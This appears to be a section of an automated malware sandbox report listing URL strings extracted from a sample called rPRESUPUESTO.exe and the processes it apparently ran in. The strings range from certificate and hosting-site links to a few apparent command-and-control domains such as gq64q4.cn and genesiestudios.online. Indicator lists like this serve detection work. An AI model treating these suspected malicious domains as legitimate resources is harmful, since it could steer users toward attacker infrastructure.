Source: rPRESUPUESTO.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: rPRESUPUESTO.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000003EA0000.00000004.10000000.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000003E80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://gq64q4.cn/user/design/clas/euse/sksueqquqf/81
Source: rPRESUPUESTO.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: rPRESUPUESTO.exe, 00000000.00000002.2154526498.0000000002951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ktmutil.exe, 00000009.00000002.4589157081.00000000044E8000.00000004.10000000.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.00000000044C8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://ww16.atmpla.net/n983/?3hkl=slNhbLXpBjO8vl&4dV43tA=e
Source: ktmutil.exe, 00000009.00000002.4589157081.000000000467A000.00000004.10000000.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.000000000465A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://ww7.europedriveguide.com/2pcd/?4dV43tA=tIH23YAAyU0vk1VwVlLsnDkrzub9KGyrHgMKKMQURaOCIZhbg0Upzh
Source: MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4590404042.00000000055B8000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.genesiestudios.online
Source: MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4590404042.00000000055B8000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.genesiestudios.online/s29p/
Source: ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://active24.com/cssc/a21/main.less?v=7d8e320747f67055c1a1008fbc40d0c1
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://active24.cz/objednavka/domain/availability/list
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://blog.active24.cz//
Source: ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://customer.active24.com/
Source: ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://faq.active24.com/cz/045021-Webov%c3%a9-str%c3%a1nky-a-E-shopy
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://faq.active24.com/cz/085122-Hosting-a-Servery
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://faq.active24.com/cz/162807-DNS-hosting?l=cs
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://faq.active24.com/cz/757409-Bezpe%c4%8dnost
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://faq.active24.com/cz/806087-Z%c3%a1kladn%c3%ad-informace
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://faq.active24.com/cz/808905-E-mailov%c3%a1-%c5%99e%c5%a1en%c3%ad
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://faq.active24.com/cz/920729-Dom%c3%a9ny-a-DNS
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://faq.active24.com/cz/932337-Spolupr%c3%a1ce
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://faq.active24.com/cz/939671-Fakturace-a-platby
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Titillium
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/css/landing.css
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/font/active24-icons.eot
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/font/active24-icons.svg
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/font/active24-icons.ttf
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/font/active24-icons.woff
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/default-domain/dns.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/default-domain/dnssec.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/default-domain/free.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/default-domain/image.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/default-domain/notify.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/default-domain/redirect.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/default-domain/superpage.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-apple-favicon-114x114.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-apple-favicon-120x120.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-apple-favicon-144x144.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-apple-favicon-152x152.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-apple-favicon-180x180.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-apple-favicon-57x57.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-apple-favicon-60x60.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-apple-favicon-72x72.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-apple-favicon-76x76.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-favicon-16x16.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-favicon-192x192.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-favicon-32x32.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-favicon-96x96.png
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/icon/a24-ms-icon-144x144.png
Source: MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/img/webmail_ikony_vlajky.png)
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gui.active24.cz/library/theme/hp16/style.css
Source: ktmutil.exe, 00000009.00000002.4587088156.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: ktmutil.exe, 00000009.00000002.4587088156.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: ktmutil.exe, 00000009.00000002.4587088156.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: ktmutil.exe, 00000009.00000002.4587088156.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: ktmutil.exe, 00000009.00000002.4587088156.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: ktmutil.exe, 00000009.00000002.4587088156.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: ktmutil.exe, 00000009.00000003.2510849899.0000000007480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://mssql.active24.com/
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://mysql.active24.com/
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://webftp.active24.com/
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://webmail.active24.com/
Source: MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/dnssec
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/domeny
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/domeny#m-certifikace
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/jak-na-tvorbu-webu
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/klientska-zona/zakaznicka-podpora
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/o-spolecnosti
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/o-spolecnosti/kariera
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/o-spolecnosti/kontakty
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/o-spolecnosti/media
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/o-spolecnosti/obchodni-podminky
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/o-spolecnosti/rikaji-o-nas-zakaznici
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/objednavka/login
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/spoluprace
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/upozorneni
